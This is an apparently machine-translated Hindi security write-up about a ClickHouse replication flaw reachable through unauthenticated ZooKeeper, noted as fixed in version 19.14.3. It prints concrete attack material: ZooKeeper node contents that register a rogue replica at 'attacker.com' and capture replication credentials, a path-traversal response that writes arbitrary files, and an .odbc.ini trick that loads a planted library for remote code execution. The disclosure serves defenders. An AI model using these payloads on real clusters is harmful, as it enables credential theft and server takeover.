आपको चिड़ियाघर के पिंजरों को बंद रखने की आवश्यकता क्यों है?

यह आलेख ClickHouse प्रतिकृति प्रोटोकॉल में एक बहुत ही विशिष्ट भेद्यता की कहानी बताएगा, और यह भी दिखाएगा कि हमले की सतह का विस्तार कैसे किया जा सकता है।

ClickHouse बड़ी मात्रा में डेटा संग्रहीत करने के लिए एक डेटाबेस है, जो अक्सर एक से अधिक प्रतिकृति का उपयोग करता है। ClickHouse में क्लस्टरिंग और प्रतिकृति शीर्ष पर बनाई गई है अपाचे चिड़ियाघर कीपर (ZK) और लिखने के अधिकार की आवश्यकता है।

डिफ़ॉल्ट ZK इंस्टॉलेशन के लिए प्रमाणीकरण की आवश्यकता नहीं होती है, इसलिए Kafka, Hadoop, ClickHouse को कॉन्फ़िगर करने के लिए उपयोग किए जाने वाले हजारों ZK सर्वर सार्वजनिक रूप से उपलब्ध हैं।

अपने आक्रमण की सतह को कम करने के लिए, आपको ज़ूकीपर स्थापित करते समय हमेशा प्रमाणीकरण और प्राधिकरण को कॉन्फ़िगर करना चाहिए

बेशक कुछ 0day आधारित जावा डिसेरिएलाइज़ेशन हैं, लेकिन कल्पना करें कि एक हमलावर ZooKeeper को पढ़ और लिख सकता है, जिसका उपयोग ClickHouse प्रतिकृति के लिए किया जाता है।

क्लस्टर मोड में कॉन्फ़िगर किए जाने पर, ClickHouse वितरित क्वेरीज़ का समर्थन करता है डीडीएल, ZK से गुजरते हुए - उनके लिए शीट में नोड्स बनाए जाते हैं /clickhouse/task_queue/ddl.

उदाहरण के लिए, आप एक नोड बनाते हैं /clickhouse/task_queue/ddl/query-0001 सामग्री के साथ:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

और उसके बाद, क्लस्टर सर्वर होस्ट1 और होस्ट2 पर परीक्षण तालिका हटा दी जाएगी। DDL CREATE/ALTER/DROP क्वेरी चलाने का भी समर्थन करता है।

डरावना लग रहा है? लेकिन किसी हमलावर को सर्वर पते कहां से मिल सकते हैं?

क्लिकहाउस प्रतिकृति व्यक्तिगत तालिकाओं के स्तर पर काम करता है, ताकि जब ZK में एक तालिका बनाई जाए, तो एक सर्वर निर्दिष्ट किया जाए जो प्रतिकृतियों के साथ मेटाडेटा के आदान-प्रदान के लिए जिम्मेदार होगा। उदाहरण के लिए, अनुरोध निष्पादित करते समय (ZK को कॉन्फ़िगर किया जाना चाहिए, chXX - प्रतिकृति का नाम, foobar - तालिका नाम):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

नोड्स बनाए जाएंगे कॉलम и मेटाडेटा.

अंतर्वस्तु /क्लिकहाउस/टेबल्स/01/फूबार/प्रतिकृतियां/chXX/होस्ट:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

क्या इस क्लस्टर से डेटा मर्ज करना संभव है? हाँ, यदि प्रतिकृति पोर्ट (TCP/9009) सर्वर पर chXX-address फ़ायरवॉल बंद नहीं किया जाएगा और प्रतिकृति के लिए प्रमाणीकरण कॉन्फ़िगर नहीं किया जाएगा। प्रमाणीकरण को बायपास कैसे करें?

एक हमलावर केवल सामग्री की प्रतिलिपि बनाकर ZK में एक नई प्रतिकृति बना सकता है /clickhouse/tables/01-01/foobar/replicas/chXX और अर्थ बदल रहा है host.

अंतर्वस्तु /क्लिकहाउस/टेबल/01-01/फूबार/प्रतिकृतियां/हमलावर/होस्ट:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

फिर आपको अन्य प्रतिकृतियों को यह बताना होगा कि हमलावर के सर्वर पर डेटा का एक नया ब्लॉक है जिसे उन्हें लेने की आवश्यकता है - ZK में एक नोड बनाया गया है /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX नीरस रूप से बढ़ने वाला काउंटर, जो इवेंट लॉग में पिछले वाले से बड़ा होना चाहिए):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

जहां source_प्रतिकृति - पिछले चरण में बनाई गई हमलावर की प्रतिकृति का नाम, ब्लॉक_आईडी - डेटा ब्लॉक पहचानकर्ता, मिल - "ब्लॉक प्राप्त करें" कमांड (और यहां अन्य परिचालनों के लिए आदेश दिए गए हैं).

इसके बाद, प्रत्येक प्रतिकृति लॉग में एक नया ईवेंट पढ़ती है और डेटा का एक ब्लॉक प्राप्त करने के लिए हमलावर द्वारा नियंत्रित सर्वर पर जाती है (प्रतिकृति प्रोटोकॉल बाइनरी है, HTTP के शीर्ष पर चल रहा है)। सर्वर attacker.com अनुरोध प्राप्त होंगे:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

जहां XXX प्रतिकृति के लिए प्रमाणीकरण डेटा है। कुछ मामलों में, यह मुख्य ClickHouse प्रोटोकॉल और HTTP प्रोटोकॉल के माध्यम से डेटाबेस तक पहुंच वाला एक खाता हो सकता है। जैसा कि आपने देखा, हमले की सतह गंभीर रूप से बड़ी हो जाती है क्योंकि प्रतिकृति के लिए उपयोग किया जाने वाला ज़ूकीपर, प्रमाणीकरण कॉन्फ़िगर किए बिना छोड़ दिया गया था।

आइए एक प्रतिकृति से डेटा का एक ब्लॉक प्राप्त करने के कार्य को देखें, यह पूरे विश्वास के साथ लिखा गया है कि सभी प्रतिकृतियां उचित नियंत्रण में हैं और उनके बीच विश्वास है।

प्रतिकृति प्रसंस्करण कोड

फ़ंक्शन फ़ाइलों की सूची पढ़ता है, फिर उनके नाम, आकार, सामग्री, और फिर उन्हें फ़ाइल सिस्टम में लिखता है। यह अलग से वर्णन करने लायक है कि फ़ाइल सिस्टम में डेटा कैसे संग्रहीत किया जाता है।

इसमें कई उपनिर्देशिकाएँ हैं /var/lib/clickhouse (कॉन्फ़िगरेशन फ़ाइल से डिफ़ॉल्ट संग्रहण निर्देशिका):

झंडे - रिकॉर्डिंग के लिए निर्देशिका झंडे, डेटा हानि के बाद पुनर्प्राप्ति में उपयोग किया जाता है;
tmp - अस्थायी फ़ाइलों को संग्रहीत करने के लिए निर्देशिका;
उपयोगकर्ता_फ़ाइलें - अनुरोधों में फ़ाइलों के साथ संचालन इस निर्देशिका (INTO OUTFILE और अन्य) तक सीमित हैं;
मेटाडेटा - तालिका विवरण के साथ एसक्यूएल फ़ाइलें;
preprocessed_configs - से संसाधित व्युत्पन्न कॉन्फ़िगरेशन फ़ाइलें /etc/clickhouse-server;
तिथि - डेटा के साथ वास्तविक निर्देशिका, इस मामले में प्रत्येक डेटाबेस के लिए एक अलग उपनिर्देशिका बस यहां बनाई जाती है (उदाहरण के लिए /var/lib/clickhouse/data/default).

प्रत्येक तालिका के लिए, डेटाबेस निर्देशिका में एक उपनिर्देशिका बनाई जाती है। प्रत्येक कॉलम एक अलग फ़ाइल पर निर्भर करता है इंजन प्रारूप. उदाहरण के लिए एक टेबल के लिए foobarकिसी हमलावर द्वारा बनाई गई, निम्न फ़ाइलें बनाई जाएंगी:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

प्रतिकृति डेटा के ब्लॉक को संसाधित करते समय समान नाम वाली फ़ाइलें प्राप्त करने की अपेक्षा करती है और उन्हें किसी भी तरह से मान्य नहीं करती है।

चौकस पाठक ने संभवतः किसी फ़ंक्शन में फ़ाइल_नाम के असुरक्षित संयोजन के बारे में पहले ही सुना है WriteBufferFromFile. हां, यह एक हमलावर को उपयोगकर्ता अधिकारों के साथ एफएस पर किसी भी फ़ाइल में मनमानी सामग्री लिखने की अनुमति देता है clickhouse. ऐसा करने के लिए, हमलावर द्वारा नियंत्रित प्रतिकृति को अनुरोध पर निम्नलिखित प्रतिक्रिया लौटानी होगी (समझने में आसानी के लिए लाइन ब्रेक जोड़े गए हैं):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

और संयोजन के बाद ../../../../../../../../../tmp/pwned फ़ाइल लिखी जाएगी /tmp/pwned सामग्री के साथ चिड़ियाघर संचालक से नमस्ते.

फ़ाइल लेखन क्षमता को रिमोट कोड निष्पादन (आरसीई) में बदलने के लिए कई विकल्प हैं।

आरसीई में बाहरी शब्दकोश

पुराने संस्करणों में, ClickHouse सेटिंग्स वाली निर्देशिका को उपयोगकर्ता अधिकारों के साथ संग्रहीत किया गया था क्लिकहाउस गलती करना। सेटिंग्स फ़ाइलें XML फ़ाइलें होती हैं जिन्हें सेवा स्टार्टअप पर पढ़ती है और फिर कैश करती है /var/lib/clickhouse/preprocessed_configs. जब परिवर्तन होते हैं, तो उन्हें दोबारा पढ़ा जाता है। यदि आपके पास पहुंच है /etc/clickhouse-server एक हमलावर अपना स्वयं का निर्माण कर सकता है बाह्य शब्दकोश निष्पादन योग्य प्रकार और फिर मनमाना कोड निष्पादित करें। ClickHouse के वर्तमान संस्करण डिफ़ॉल्ट रूप से अधिकार प्रदान नहीं करते हैं, लेकिन यदि सर्वर को धीरे-धीरे अद्यतन किया गया, तो ऐसे अधिकार बने रह सकते हैं। यदि आप ClickHouse क्लस्टर का समर्थन कर रहे हैं, तो सेटिंग निर्देशिका के अधिकारों की जांच करें, यह उपयोगकर्ता का होना चाहिए root.

ओडीबीसी से आरसीई

पैकेज स्थापित करते समय, एक उपयोगकर्ता बनाया जाता है clickhouse, लेकिन इसकी होम डायरेक्टरी नहीं बनाई गई है /nonexistent. हालाँकि, बाहरी शब्दकोशों का उपयोग करते समय, या अन्य कारणों से, प्रशासक एक निर्देशिका बनाते हैं /nonexistent और उपयोगकर्ता को दें clickhouse इसे लिखने की पहुंच (SSZB! लगभग। अनुवादक).

क्लिकहाउस समर्थन करता है ODBC और अन्य डेटाबेस से जुड़ सकते हैं। ODBC में, आप डेटाबेस ड्राइवर लाइब्रेरी (.so) का पथ निर्दिष्ट कर सकते हैं। ClickHouse के पुराने संस्करणों ने आपको सीधे अनुरोध हैंडलर में ऐसा करने की अनुमति दी थी, लेकिन अब कनेक्शन स्ट्रिंग की अधिक सख्त जाँच इसमें जोड़ दी गई है odbc-bridge, इसलिए अनुरोध से ड्राइवर पथ निर्दिष्ट करना अब संभव नहीं है। लेकिन क्या कोई हमलावर ऊपर वर्णित भेद्यता का उपयोग करके होम निर्देशिका में लिख सकता है?

चलिए एक फाइल बनाते हैं ~/.odbc.ini इस तरह की सामग्री के साथ:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

फिर स्टार्टअप पर SELECT * FROM odbc('DSN=lalala', 'test', 'test'); लाइब्रेरी लोड हो जाएगी test.so और आरसीई प्राप्त किया (धन्यवाद) बगलॉक टिप के लिए)।

इन और अन्य कमजोरियों को ClickHouse संस्करण 19.14.3 में ठीक कर दिया गया है। अपने क्लिकहाउस और चिड़ियाघरकीपर्स का ख्याल रखें!

स्रोत: www.habr.com